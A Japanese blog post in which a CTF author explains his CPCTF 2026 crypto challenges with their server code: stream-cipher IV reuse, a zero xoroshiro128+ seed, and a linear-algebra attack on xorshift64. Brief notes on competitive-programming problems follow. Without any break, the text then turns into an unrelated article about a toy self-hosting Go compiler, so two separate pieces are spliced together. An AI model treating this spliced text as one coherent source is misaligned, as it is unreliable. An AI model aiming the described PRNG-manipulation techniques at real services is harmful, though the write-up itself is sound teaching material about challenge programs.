みなさまこんにちは。Nzt3です。

この記事では 2026-04-17 20:00(JST) から 2026-04-19 20:00(JST) まで行われたイベントである CPCTF 2026 の問題のうち、Nzt3が制作に関わった問題の解説・出題意図を記録します。

PPC(競技プログラミング)分野の問題はyukicoder上で公開されているのでこの記事を読む前に挑戦してみてください！

yukicoder: CPCTF 2026: PPC

私が関わった問題

Crypto

• Lv.2 Very Exciting
• Lv.3 Janken Master
• LV.5 mod N Janken

PPC

• Lv.3 Sum of Prod of Root (謝罪)
• Lv.4 OR Mapping (強化)
• Lv.5 RPS Eliminations

[Crypto] Lv.2 Very Exciting

問題概要

ワクワクする乱数をあなたにも使わせてあげます。

↑この問題文はただのフレーバーテキストなので無視してください。

ncコマンドでサーバーにTCP接続してサーバーで実行されるPythonプログラムとやり取りをする問題です。

配布ファイル

#!/usr/local/bin/python3
from os import getenv, urandom


class BoringRandom:
    C0 = 0x6A09E667F3BCC908
    C1 = 0xBB67AE8584CAA73B
    C2 = 0x3C6EF372FE94F82B

    SBOX = [
        0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
        0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
        0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
        0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
        0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
        0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
        0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
        0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
        0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
        0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
        0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
        0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
        0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
        0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
        0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
        0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
    ]

    def __init__(self, key: bytes, iv: bytes):
        assert len(key) == 16 and len(iv) == 16

        K0 = int.from_bytes(key[0:8], byteorder='big')
        K1 = int.from_bytes(key[8:16], byteorder='big')
        I0 = int.from_bytes(iv[0:8], byteorder='big')
        I1 = int.from_bytes(iv[8:16], byteorder='big')

        self.a = [0] * 3
        self.b = [0] * 16

        self.a[0] = K0
        self.a[1] = K1
        self.a[2] = self._rotl(K0, 7) ^ self._rotr(K1, 7) ^ self.C0

        for i in range(16):
            self._update_rho_only()
            self.b[15 - i] = self.a[0]

        self.a[0] ^= I0
        self.a[1] ^= I1
        self.a[2] ^= self._rotl(I0, 7) ^ self._rotr(I1, 7) ^ self.C0

        for i in range(16):
            self._update_rho_only()

        for i in range(16):
            self._update()

    def nextrand(self) -> bytes:
        out = self.a[2]
        self._update()
        return out.to_bytes(8)

    def _update(self):
        a_0_next = self.a[1]
        a_1_next = self.a[2] ^ self._F(self.a[1], self.b[4]) ^ self.C1
        a_2_next = self.a[0] ^ self._F(
            self.a[1], self._rotl(self.b[10], 17)) ^ self.C2

        b_next = [0] * 16
        for j in range(16):
            if j not in (0, 4, 10):
                b_next[j] = self.b[j - 1]
        b_next[0] = self.b[15] ^ self.a[0]
        b_next[4] = self.b[3] ^ self.b[7]
        b_next[10] = self.b[9] ^ self._rotl(self.b[13], 32)

        self.a = [a_0_next, a_1_next, a_2_next]
        self.b = b_next

    def _update_rho_only(self):
        a_0_next = self.a[1]
        a_1_next = self.a[2] ^ self._F(self.a[1], 0) ^ self.C1
        a_2_next = self.a[0] ^ self._F(self.a[1], 0) ^ self.C2
        self.a = [a_0_next, a_1_next, a_2_next]

    def _F(self, X: int, B: int) -> int:
        O = X ^ B

        O_bytes = [(O >> ((7 - i) * 8)) & 0xFF for i in range(8)]

        P = [self.SBOX[b] for b in O_bytes]

        Q = [0] * 8
        for j in (0, 4):
            Q[j+0] = self._mul2(P[j+0]) ^ self._mul3(P[j+1]) ^ P[j+2] ^ P[j+3]
            Q[j+1] = P[j+0] ^ self._mul2(P[j+1]) ^ self._mul3(P[j+2]) ^ P[j+3]
            Q[j+2] = P[j+0] ^ P[j+1] ^ self._mul2(P[j+2]) ^ self._mul3(P[j+3])
            Q[j+3] = self._mul3(P[j+0]) ^ P[j+1] ^ P[j+2] ^ self._mul2(P[j+3])

        Y_bytes = [Q[4], Q[5], Q[2], Q[3], Q[0], Q[1], Q[6], Q[7]]

        Y = 0
        for b in Y_bytes:
            Y = (Y << 8) | b
        return Y

    def _rotl(self, x: int, n: int) -> int:
        return ((x << n) | (x >> (64 - n))) & 0xFFFFFFFFFFFFFFFF

    def _rotr(self, x: int, n: int) -> int:
        return ((x >> n) | (x << (64 - n))) & 0xFFFFFFFFFFFFFFFF

    def _mul2(self, x: int) -> int:
        return (x << 1) ^ 0x11b if (x & 0x80) else (x << 1)

    def _mul3(self, x: int) -> int:
        return self._mul2(x) ^ x


# 平文の長さに合わせてキーストリームを自動生成するヘルパー関数
def stream_excite(pksg, data: bytes) -> bytes:
    keystream = b""

    while len(keystream) < len(data):
        keystream += pksg.nextrand()

    return bytes([a ^ b for a, b in zip(data, keystream)])


def main():
    secret_key = urandom(16)
    exciting_iv = urandom(16)
    secret_flag_plaintext = getenv("FLAG", "FLAG{DUMMY}").encode()

    myPKSG = BoringRandom(secret_key, exciting_iv)

    exciting_flag = stream_excite(myPKSG, secret_flag_plaintext)
    print(f"Here is the exciting_iv I used!: {exciting_iv.hex()}")
    print(
        f"And behold! My masterpiece, the incredibly cool exciting_flag!!\n => {exciting_flag.hex()}\n")

    print("Now it's your turn, folks at home! Let's make your 'favorite' thing EXCITING!")

    favorite_input = input("Enter your boring 'favorite' (Hex): ")
    your_favorite = bytes.fromhex(favorite_input)
    if your_favorite == exciting_flag:
        print("Whoa, whoa, whoa! That's MY exciting_flag! Bring your own boring stuff!")
        exit(0)

    very_exciting_input = input("Enter your own 'very_exciting' IV (Hex): ")
    very_exciting_iv = bytes.fromhex(very_exciting_input)
    if len(very_exciting_iv) != 16:
        print("That's not a very exciting IV...")
        exit(0)
    yourPKSG = BoringRandom(secret_key, very_exciting_iv)

    enc_your_favorite = stream_excite(yourPKSG, your_favorite)
    print(
        f"Your favorite just got completely EXCITED!!\n => {enc_your_favorite.hex()}")

    tea_list = ["Black tea", "Green tea",
                "Oolong tea", "White tea", "Matcha", "Tisane"]
    destiny_tea_index = int.from_bytes(yourPKSG.nextrand()) % 6
    print(
        f"Time to cool down. Today's Exciting Tea Omikuji says... [{tea_list[destiny_tea_index]}]! Enjoy!")


if __name__ == '__main__':
    try:
        main()
    except:
        print("\nOops, looks like we got too excited and short-circuited. Bye!")

BoringRandom という乱数生成器クラスを使用し、秘匿された16bytesのsecret_keyと公開された16bytesのexciting_ivを用いて作ったkeysteamとxorすることでflagを暗号化しています。

その後、secret_key(そのまま)とユーザーの入力したvery_exciting_ivを使ってユーザーが自由に入力できる very_exciting_input を同様に暗号化しています。

やり取りを利用して暗号化されたexciting_flagを頑張って復号してflagを入手したいですね。

解法

very_exciting_ivとしてexciting_ivと同じものを入力すると全く同じkeystreamが生成されます。
xorの性質より、暗号文であるenc_your_favoriteと暗号化前の平文であるyour_favoriteがわかるとkeystreamが特定できます。your_favoriteとして長めの列を選べばkeystreamもその長さだけ特定できます。
十分な長さのkeystreamを特定できたら、exciting_flagとxorすることでsecret_flag_plaintextを特定できます。

ivが選択できてしまうため、flagの暗号化に使ったkeystreamと同じものを生成でき、特定できます。

一般に、疑似乱数生成器は (内部状態, 内部状態を更新する関数, 内部状態を加工して乱数を生成する関数) の3つからなります。
全ての関数は決定的でありどこにもランダム要素はありません。内部状態さえわかればその先の内部状態の更新も乱数の生成も決定的であるため、同じ乱数が生成されます。

今回の乱数生成器では、内部状態として64bit整数19個を、内部状態を更新する関数として_updateを、内部状態から乱数を生成する関数として内部状態の64bit整数を持ってくるa[2]を使用しています。
疑似乱数では内部状態が特定できればその後に生成される乱数が全てわかります。暗号に用いられる乱数では乱数の出力から内部状態が特定できないように工夫がされていますが、今回のように内部状態を設定する部分を直に触れると色々と悪いことをできてしまいますね。

BoringRandomはCRYPTREC 推奨候補暗号^[1]である MUGI を用いています。現時点ではこの暗号自体に深刻な問題は見つかっていません。
退屈でワクワクしない地味なMUGI……？ Today's Exciting Tea Omikujiってなんだ？O,NI,CHA ……？

感想

擬似乱数生成器は初期情報であるseed、今回であれば鍵(key)と初期化ベクトル(IV)から数列を作る装置なので初期状態が同一なら生成される数列も同一になります。乱数といっても機械で作る疑似乱数には限界はあるし、乱数生成の操作も実装するだけなら意外に単純なんですよね。

Lv.2として攻撃に使うデータを自分で用意してもらう形式の問題にしたかったので、IVと平文を選択してもらう形にしました。暗号化後のflagをそのままもう一度暗号化して平文に戻せたら綺麗ですが、何かしら手元でxorをやって欲しいので弾きました。

こんな誤答がありました。教育的なflagを考えていてえらいですね。

• CPCTF{x0r_5tr34m_c1ph3r_15_v3ry_3xc1t1ng!}
  • XOR stream cipher is very exciting! わかる。わかります。逆元が自身であるおかげで暗号化/復号の処理が同じになって実装がシンプルになる実用性重視の演算に見えるのに、OTPみたいな最強の安全性にも出てくるの面白すぎる。二元体が嬉しすぎる。
• CPCTF{D0_n0t_r3us3_th3_IV_in_str34m_c1ph3rs!!}
  • 教育的だからflagこれにした方がよかったかも。leetでeが3になるの非自明。

[Crypto] Lv.3 Janken Master

問題概要

みんなでじゃんけん！

この問題文もフレーバーテキストなので無視して大丈夫です。
ncコマンドでサーバーにTCP接続してサーバーで実行されるPythonプログラムとやり取りをする問題です。
配布ファイル

#!/usr/local/bin/python3
import os


class Xoroshiro128Plus:
    MASK = 0xFFFFFFFFFFFFFFFF

    def __init__(self, seed):

        self.s = [seed >> 64 & self.MASK, seed & self.MASK]

    def rotl(self, x, k):
        return ((x << k) | (x >> (64 - k))) & self.MASK

    def next(self):
        s0 = self.s[0]
        s1 = self.s[1]

        result = (self.rotl((s0 + s1) & self.MASK, 17) + s0) & self.MASK
        s1 ^= s0
        self.s[0] = (self.rotl(s0, 49) ^ s1 ^ (
            (s1 << 21) & self.MASK)) & self.MASK
        self.s[1] = self.rotl(s1, 28)

        return result


def main():
    FLAG = os.environ.get("FLAG", "FLAG{DUMMY}")
    NPC_COUNT = 99

    print("=====================================================")
    print(f" Welcome to the {NPC_COUNT + 1}-Player Rock-Paper-Scissors! ")
    print(" Can you become the sole winner against all NPCs?")
    print("=====================================================\n")

    try:
        seed_input = input("Enter your lucky number (seed): ")
        seed = int(seed_input)
    except ValueError:
        print("Invalid input. Please enter an integer.")
        return

    seed ^= 0x1234567890abcdef1234567890abcdef
    rng = Xoroshiro128Plus(seed)

    print("\nSelect your hand:")
    print("0: Rock (グー)")
    print("1: Scissors (チョキ)")
    print("2: Paper (パー)")

    try:
        player_hand = int(input("Your hand (0-2): "))
        if player_hand not in [0, 1, 2]:
            print("Invalid hand.")
            return
    except ValueError:
        print("Invalid input.")
        return

    npc_hands = []
    for _ in range(NPC_COUNT):
        npc_hands.append(rng.next() % 3)

    rock_count = npc_hands.count(0)
    scissors_count = npc_hands.count(1)
    paper_count = npc_hands.count(2)

    print("\n--- Result ---")
    print(f"Your hand: {player_hand}")
    print(
        f"NPC hands: Rock={rock_count}, Scissors={scissors_count}, Paper={paper_count}")

    # 勝敗判定
    hands_in_field = set(npc_hands)
    hands_in_field.add(player_hand)

    if len(hands_in_field) == 3:
        print("\nDraw! All three hands appeared in the field.")
    elif len(hands_in_field) == 1:
        print("\nDraw! Everyone played the same hand.")
    else:
        if (player_hand == 0 and 1 in hands_in_field) or \
           (player_hand == 1 and 2 in hands_in_field) or \
           (player_hand == 2 and 0 in hands_in_field):
            winner_count = 1 + npc_hands.count(player_hand)
            if winner_count == 1:
                print("\nCongratulations! You are the SOLE winner!")
                print(f"Here is your reward: {FLAG}")
            else:
                print(
                    f"\nYou won! But there are {winner_count} winners in total.")
                print("You must be the *sole* winner to get the flag.")
        else:
            print("\nYou lost...")


if __name__ == "__main__":
    main()

xoroshiro128+という乱数生成アルゴリズムを用いたじゃんけんNPCが99体います。これにあなたも含めた100プレイヤーでじゃんけんをするので、一発で一人勝ちしてください。
xoroshiro128+という乱数生成アルゴリズムの使い方はhttps://prng.di.unimi.it/に公開されています。

あなたは乱数のseedを自由に設定できます。うまくseedを設定してうまい手を出せば勝てるかもね！

解法

https://prng.di.unimi.it/xoroshiro128plus.cにあるxoroshiro128+のC言語での実装を見ると、コメントでThe state must be seeded so that it is not everywhere zero.と書かれています。
xoroshiro128+では乱数のseedとして(0,0)を設定すると内部状態が全部0になり、その後も乱数として0しか生成されず、乱数の機能を果たしません。
今回は入力値に細工をしてからseedとしていますが、その細工が固定値0x1234567890abcdef1234567890abcdefとのxorなので入力値を0x1234567890abcdef1234567890abcdefとすればseedを0にできます。実際には十進法に直した24197857200151252728969465429440056815の入力が必要です。

これで乱数を固定できたので、NPCの出す手が固定されました。あとは勝つ手を出せば良いです。

感想

じゃんけん１つ目。一発ギャグ。

ゲームAIをバグらせて無双できたら楽しいよね〜ということを考えてこの問題を作りました。
軽量な乱数生成器は大体xorshiftの変種か線形合同法の変種だと思っています。適当にやると周期が非常に短くなりがち。

xoroshiro128+のようなビット演算と加算だけで作られる乱数は軽量なのでゲームやシミュレーションに使いやすいと思います。実際にポケモンとかで使われているらしいです。
いつでもmt19937ほどの高次元での均等分布が必要なわけではないので、用途に応じて使い分けたいですね。

[Crypto] Lv.5 mod N Janken

問題概要

みんなでじゃんけん！
引き分けは無駄なのでなくしました。

この問題文もフレーバーテキストなので無視して良いです。
ncコマンドでサーバーにTCP接続してサーバーで実行されるPythonプログラムとやり取りをする問題です。

配布ファイル server.pyの他に手元で動かせるようにdockerfile,compose.ymlを配布しています。

janken_powers = [[0 for _ in range(STRATEGY_LEN)]
                 for _ in range(PARTICIPANTS - 1)]

for i in range(PARTICIPANTS - 1):
    janken_powers[i][0] = randrange(1, 2**64)
    for j in range(1, STRATEGY_LEN):
        janken_powers[i][j] = nextrand(janken_powers[i][j - 1])

print("🌟====================================================🌟")
print("  ✊✌️✋ Welcome to the ULTRA JANKEN TOURNAMENT! ✋✌️✊")
print("🌟====================================================🌟")
print("\n[MC] First, tell me your \"Secret Janken Strategy\"! (Space-separated integers, please!)")

try:
    player_strategy = list(map(int, input("Your Strategy: ").split()))
except ValueError:
    print("[MC] Oops! Those don't look like numbers. Please try again!")
    exit(0)

assert len(player_strategy) == STRATEGY_LEN
for val in player_strategy:
    assert 0 <= val < 2**64

print(f"\n[MC] Entry complete! We've received your strategy loud and clear!")
janken_powers.append(player_strategy)

total_cheats = 0

print("\n[MC] Now, let the tournament of destiny BEGIN!!!\n")

for match_num in range(MATCHES):
    print(f"\n--- [ MATCH {match_num + 1}/{MATCHES} ] ---")
    player_no = randrange(0, PARTICIPANTS)
    luck_pattern = [randrange(0, 2) for _ in range(STRATEGY_LEN)]

    print(f"[MC] Your Number is No: {player_no}")
    lucky = "".join(map(str, luck_pattern))
    print(f"[info] Current Luck Pattern: {lucky}")

    while True:
        action = input(
            "\n[?] What will you do? [C]heat the luck / [G]o Janken!: ").strip().upper()

        if action == "C":
            try:
                idx = int(input("Which luck index to flip?: "))
                if 0 <= idx < STRATEGY_LEN:
                    luck_pattern[idx] = 1 - luck_pattern[idx]
                    total_cheats += 1
                    print("[Info] Luck value altered silently.")
                else:
                    print("[ERROR] Error: Index out of range.")
            except ValueError:
                print("[ERROR] Error: Invalid integer.")

        elif action == "G":
            break
        else:
            print("[ERROR] Unrecognized command.")
            exit(0)

    clash_power = 0
    for i in range(PARTICIPANTS):
        for j in range(STRATEGY_LEN):
            clash_power ^= janken_powers[i][j] * luck_pattern[j]

    winner = clash_power % PARTICIPANTS

    print(
        "\n[MC] Alright, everyone together... Rock, Paper, SCISSORS!!! ✊✌️✋")
    print(f"[MC] And the winner is... Participant No.{winner}!!!")

    if winner != player_no:
        print("\n[Info] You lost...")
        exit(0)

    if total_cheats > MAX_CHEAT_COUNT:
        print(
            "\n[MC] Wait a minute... the luck generators are fluctuating wildly! SECURITY!!")
        exit(0)

    print("[MC] What an incredible match! Let's move right to the next one!\n")

print("🎊======================================================🎊")
print("  🏆 TOURNAMENT COMPLETED! 🏆")
print("🎊======================================================🎊")
print("\n[MC] What a breathtaking tournament! I've never seen such consistent \"luck\" before!")
print("[MC] Please accept this grand prize on behalf of our amazing winner! \n")

flag = getenv("FLAG", "FLAG{DUMMY}")
print(flag)

mod N じゃんけんを知っていますか？大人数でじゃんけんを行うと引き分けが連続して長引いて嫌ですよね。勝者を1人だけ決めたいなら、それぞれが整数を宣言してその総和mod Nで勝者を決めれば良いですね！では実際にやってみましょう！

NPC100人とあなたの合計101人でmod N じゃんけんを行います。

NPCは秘密の乱数列(janken_powers)を生成します。
あなたも同様に整数列を宣言します。

それぞれのNPCの宣言する整数は事前に用意した乱数列から添字列(luck_pattern)の通りに選んでxorしたものです。
あなたの宣言する整数も同じluck_patternで決まります。
じゃんけんで20連勝してください！

勝利条件は全員の宣言した整数の合計 mod 101 があなたのplayer_noになることです。player_noは毎回教えてもらえるのでうまく調整して勝利したいですね。

luck_patternを1箇所ずつ改変できます。改変しすぎると怒られるので、600回以下の改変でどうにかして勝利しましょう。

解法

NPCの生成する乱数列は xorshift64 を用いて作られています。
xorshift64はxorとshiftという軽量なbit演算だけで疑似乱数列を生成するアルゴリズムです。
内部状態に対してxorとshiftの操作を行い、新たな内部状態を作成してそれを乱数の出力としています。

内部状態、内部状態を更新する関数、内部状態から乱数を生成する関数を整理しましょう。

• 内部状態: 64bit整数1つ
• 内部状態を更新する関数: nextrandで定義されたxorとshiftからなる関数
• 内部状態から乱数を生成する関数: 内部状態の64bit整数をそのまま利用する

ここで大事なのが内部状態から乱数を生成する関数です。xorshift64の場合では内部状態をそのまま乱数として使用します。これにより、乱数の出力と内部状態を区別せずに同一視できます。

内部状態を更新する関数を$f$とします。最初の内部状態を$x_0$とすると、生成される内部状態は次のようになります。xorshiftでは生成される乱数列も全く同じです。

$$x_0,f(x_0),f^{(2)}(x_0),\dots ,f^{(k)}(x_0),\dots$$

$f$の性質を調べます。64bit整数のxorとshiftは64bit整数を${\mathbb{F}}_2^{64}$の元として扱えば$f$は${\mathbb{F}}_2$線型空間の線型写像となります。
${\mathbb{F}}_2^{64}$には$\oplus$としてxorを入れます。

線型写像であるため、ある行列$A\in {\mathbb{F}}_2^{64\times 64}$ が存在し$f(x)=Ax$となります。

今回の問題では各NPCごとに乱数列の特定の要素の総xorをとって宣言する整数を決定しています。
具体的には、指定された非負整数の集合 $S$ について、${⨁}_{k\in S}{A}^{k}x$を宣言する整数に設定しています。

ケイリー・ハミルトンの定理を用いると、$A$の固有多項式$p_A$について$p_A(A)=O$がわかります。
固有多項式の係数のうち$1$である次数のみからなる集合を$S$に設定できれば ${⨁}_{k\in S}(A^{k}x)=({⨁}_{k\in S}{A}^k)x=p_A(A)x=Ox=0$ となり、初期の内部状態に関係なく宣言する整数を0に設定できます。$p_A$の次数は64以下であるため、乱数列の最初の65要素を利用すれば総xorを0にできます。

今回の問題では$S$ (=luck_pattern)を自由に操作できるため、これでNPC全ての宣言する整数を$0$に固定することができました。

実際には任意の${\mathbb{F}}_2$多項式$g(x)$について$(g\cdot p_A)(A)=O$となるため、今回のluck_pattern全体(${\mathbb{F}}_2$上の次数120未満の多項式)のうちNPCの宣言する整数を$0$に固定できるluck_patternは$2^{120-65}$通り存在します。

提示されたluck_patternを少し変更することでこのパターンのどれかを作り、さらに、自分の宣言する整数 mod 101 がplayer_noになるようにします。変更には回数制限があるのでできるだけ変更回数が少ないものを選びたいです。変更回数は最初のluck_patternと目標となるluck_patternのハミング距離になること、固有多項式の多項式倍は$x^k{p}_A$の線型結合になることを考えると線型符号の復号に見えますが、距離最小のものをとらなくとも平均で距離30以下を取れば良いので愚直な探索でも間に合います。

感想

じゃんけん2つ目。
じゃんけんを2問出題してしまったせいで間違えて別のじゃんけんのflagを提出する人がいました。問題名を読んでください。

線形な乱数生成器はこれができるというのは知っていましたが、実際に構築してみると本当にできてしまってショックを受けました。

この人が作った問題全部乱数じゃん。なんで？

[PPC] Lv.3 Sum of Prod of Root

問題・解説はyukicoderにあります。
https://yukicoder.me/problems/no/3505

PPCジャンルの難易度順ソート、評価の確認を担当しました。
難易度評価に失敗しました。
ごめんなさい。

でも高校数学と言われたら2.5付けたくなりませんか？(言い訳)

[PPC] Lv.4 OR Mapping

問題・解説はyukicoderにあります。
https://yukicoder.me/problems/no/3508

@n3による原案提案時には無向グラフの設定でしたが、有向グラフでも解けることを主張しました。無向グラフでも有向グラフでも偶奇性だけの判定ですが、強連結成分をまたぐ移動により偶奇性の自由度が増えて難しくなります。

[PPC] Lv.5 RPS Eliminations

問題・解説はyukicoderにあります。
https://yukicoder.me/problems/no/3510

じゃんけん3つ目。じゃんけんとPPCのコンテストになってしまった……

RPSを利用した最適化の問題を作ろうという会話があり、そこから作りました。
木構造になることはすぐにわかりその後どうしようか考えていたら解いてもらえました。

最終結果を決めると全体で何通りあるかは定まるので存在判定はできますね。対称性があるので議論も楽です。
部分木についても同様に数だけは定まるのでDFSでprefixを構築する際にsuffix部分が何通りあるかを考慮することができます。面白いですね。

終わりに

CPCTF2026へ参加していただいたみなさま、ご参加ありがとうございました！

去年に引き続き、PPCとCryptoの問題を作っていました。数学っぽい何かをプログラムっぽい何かに適用して何かを作る、壊すという体験を提供できていたら嬉しいです。

去年までだとLv.5相当の問題は10人程度にしか解かれなかったのですが、今年は50人近くの参加者に解いていただけました。多くの人に解いていただき大変嬉しいです。

26M の @ikura-hamu です。Go のコンパイラを Go で書いて、セルフホストが動いたので記事を書きます。
正確には、「Go の（プログラムの一部を処理できる）（狭義）コンパイラ」を書いたことになります。

リポジトリはこちらです。
https://github.com/ikura-hamu/ooo

GitHub - ikura-hamu/ooo: Toy Go Compiler

Toy Go Compiler. Contribute to ikura-hamu/ooo development by creating an account on GitHub.

GitHubikura-hamu

作ったコンパイラについて

コンパイラの名前は「 ooo 」（小文字の o が3つ）です。Toy Go Compiler から取ったということになっていますが、それは後付けで、科学大のキャンパスがある大岡山（おおおかやま）から取っています。なので読み方は「おおお」です。

ooo は、Go のプログラムを入力に取り、x86_64 のアセンブリを出力するプログラムです。コンパイラと呼ばれるプログラムは、アセンブリの出力のみを行う狭義のコンパイラと、アセンブル、リンクなども行って実行ファイルを出力する広義のコンパイラがありますが、ooo は前者にあたります。

ooo はセルフホストを行うことができます。コンパイラのセルフホストとは、コンパイラ自身のソースコードをコンパイルすることです。すなわち、ooo の Go プログラムを ooo に渡すと、ooo のアセンブリプログラムが得られます。

通常の Go コンパイラによってできた ooo が第 1 世代(ooo1)、ooo1 によってコンパイルされた ooo が第 2 世代(ooo2)、ooo2 によってコンパイルされた ooo が第 3 世代(ooo3)です。ooo2 が ooo 自身をコンパイルでき、さらに ooo2 と ooo3 の出力が一致すれば、少なくとも ooo 自身については自己コンパイルが安定していることを確認できます。今回はこれを目標としました。

Go には様々な機能が仕様で定められていますが、今回の目標はセルフホストだったため、セルフホストに必要なほぼ最低限機能のみに絞って実装をしています。たとえば、goroutine や switch 文、map、GC、メソッド、interface などは実装していません。そのため、機能としてはほとんど C と変わりません。

中身の技術的な話

コンパイルしたい Go のプログラムのファイル名を半角スペースで区切って標準入力から渡すと、Intel 形式の x86_64 アセンブリを標準出力から吐き出します。普通のコンパイラはコマンドライン引数からファイル名などを指定しますが、コマンドライン引数を取得する部分の実装を省略するために標準入力から取得しています。

ooo は大まかには、Go のソースコードを読み、構文解析・型に関する処理・エスケープ解析などを行い、最後に x86_64 アセンブリを出力する、という流れで動きます。

メモリ管理

Go には Garbage Collection (GC) による動的なヒープのメモリ管理がありますが、ooo にはありません。セルフホストをするのに必要なメモリはそれほど多くなく、コンパイラはすぐに実行終了するプログラムだからです。そのため、一度確保した領域を解放しない単純な allocator でも、セルフホストには十分でした。

ヒープのメモリは起動時にある程度まとまった量を brk システムコールで確保し、必要になったらそこから取得するようになっています。一旦取得したメモリは解放しないため、最初に確保したメモリを使い切ったらメッセージを出して終了するようになっています。

libc 非依存

ooo は libc に依存していません。メモリ管理や I/O は自分でシステムコールを呼ぶことで実装しています。アセンブリから syscall 命令を使うことでシステムコールが使えるので、アセンブリプログラムを温かみのある手書きで書いて使っています。
例えばファイルパスを指定してファイルディスクリプタを取得する open 関数はこのようになります。

# func open(path string, flags int) int

.global _open
_open:
# return values
# [rbp+40] for fd

  push rbp
  mov rbp, rsp

  mov rax, 2 # syscall open
  mov rdi, [rbp+16] # file path
  mov rsi, [rbp+32] # flags

  syscall

  mov [rbp+40], rax # file descriptor

  mov rsp, rbp
  pop rbp
  ret

libc 非依存にした理由は、ooo の関数呼び出しのルールと、C / libc 側の関数呼び出しのルールを合わせるのが大変だと思ったからです。ooo では実装を簡単にするために、通常の C のコンパイラでの関数呼び出し時のルールを破っており、たとえば引数はレジスタではなく全てスタック領域に積まれています。ooo の関数と libc の関数によってルールを使い分けるのはコストが高いと考え、自力実装を行いました。
幸いシステムコールに関する知識は情報工学系の「システムプログラミング」という科目で少し学んでいたので、比較的楽に実装できました。

エスケープ解析

Go のコンパイラといっても C のコンパイラと構文が違うだけでだいたい同じようにできるんだろうと思っていましたが、1 つ大きな違いとしてエスケープ解析がありました。
以下の C と Go のプログラムは非常に似ていますが、異なる結果になります。

C

int* f1() {
  int a = 1;
  return &a;
}
void f2() {
  int a = 2;
  printf("%d\n", a);
}
int main() {
  int* a = f1();
  f2();
  printf("%d\n", *a);
}

Go

package main
import "fmt"
func f1() *int {
    var a int = 1
    return &a
}
func f2() {
    var a int = 2
    fmt.Printf("%d\n", a)
}
func main() {
    var a *int = f1()
    f2()
    fmt.Printf("%d\n", *a)
}

C の方はローカル変数のポインタをスコープ外で参照しているため未定義動作になります。手元の gcc では segmentation fault になりました。これはローカル変数のポインタがスコープの外に出る、今回であれば返り値としてローカル変数のポインタを指定しているためです。
一方、Go の方は、main 関数での fmt.Printf では、意図した通りの 1 が出力されます。これは Go のコンパイラがエスケープ解析と呼ばれる処理を行っているためです。エスケープ解析では、スコープの外に渡されるローカル変数のポインタを探し、必要であればそれをスタックではなくヒープに置きます。

ooo の実装ではエスケープ解析を自分で書く必要がありました。具体的には、ローカル変数のうち、そのポインタが返り値になったりグローバル変数に代入されたりしているものを探して、それらの実体をヒープに置くようにしました。

ストリング命令

コンパイラを書いていると、メモリ上のある連続した領域の値を、他の場所にコピーしたり、他の場所と比較したりする必要が出てきます。例えば文字列の比較や結合、slice の append 関数などです。はじめはこれをループを書いて 1 バイト、もしくは 8 バイトずつ処理していました。
この処理を書くのは特にループ回数が実行時にならないと分からない場合に大変なのですが、実装終盤にストリング命令に出会ったことで効率が大きく上がりました。ストリング命令は、連続したメモリ上の領域に関する処理を少ない命令数で記述できるものです。以下のように使います。

  pop rsi # コピー元のアドレス
  pop rdi # コピー先のアドレス
  pop rcx # 何回コピーするか
  rep movsb # ecx レジスタの値が 0 になるまで 1 バイトずつコピーして ecx-- をする

コメント部分はとてもざっくりしているので、ちゃんと使う場合は他の資料を当たってください。この命令の素晴らしい部分は、扱う領域の大きさをレジスタに指定することで動的に変えることができる点です。この例は 1 バイトごとのコピーでしたが、8 バイトごとにしたり、値の比較にしたりもできます。
このストリング命令の威力はすさまじく、原因がよくわからないバグが、コピーの処理をストリング命令に置き換えただけで直った、ということが2、3回ありました。ありがとう、ストリング命令。

実装したもの・しなかったもの

できるだけ少ない手数で実装したかったので、ooo に持たせる機能は非常に少なくしました。例えば ooo がサポートしている型は、プリミティブ型は int, string, bool の 3 つのみ、複合型も struct, array, slice の 3 つのみです。

